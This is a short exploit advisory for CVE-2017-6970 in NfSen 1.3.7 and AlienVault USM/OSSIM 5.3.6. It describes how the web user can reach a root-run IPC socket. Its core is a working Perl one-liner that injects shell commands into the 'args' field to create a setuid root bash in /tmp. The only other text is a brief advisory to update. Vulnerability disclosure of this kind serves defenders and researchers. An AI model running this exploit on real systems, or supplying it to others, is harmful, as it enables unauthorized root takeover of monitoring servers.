NfSen 1.3.7 / AlienVault USM/OSSIM 5.3.6 Local Root

`# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6  
# Version: NfSen 1.3.7  
# Version: AlienVault 5.3.6  
# Date: 2017-07-10  
# Vendor Homepage: http://nfsen.sourceforge.net/  
# Vendor Homepage: http://www.alienvault.com/  
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download  
# Exploit Author: Paul Taylor / Foregenix Ltd  
# Website: http://www.foregenix.com/blog  
# Tested on: AlienVault USM 5.3.6  
# CVE: CVE-2017-6970  
  
1. Description  
  
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.  
  
2. Proof of Concept  
  
Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).  
  
Execute the following command:  
  
perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'  
  
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.  
  
3. Solution:  
  
Update to latest version of NfSen/USM/OSSIM  
  
`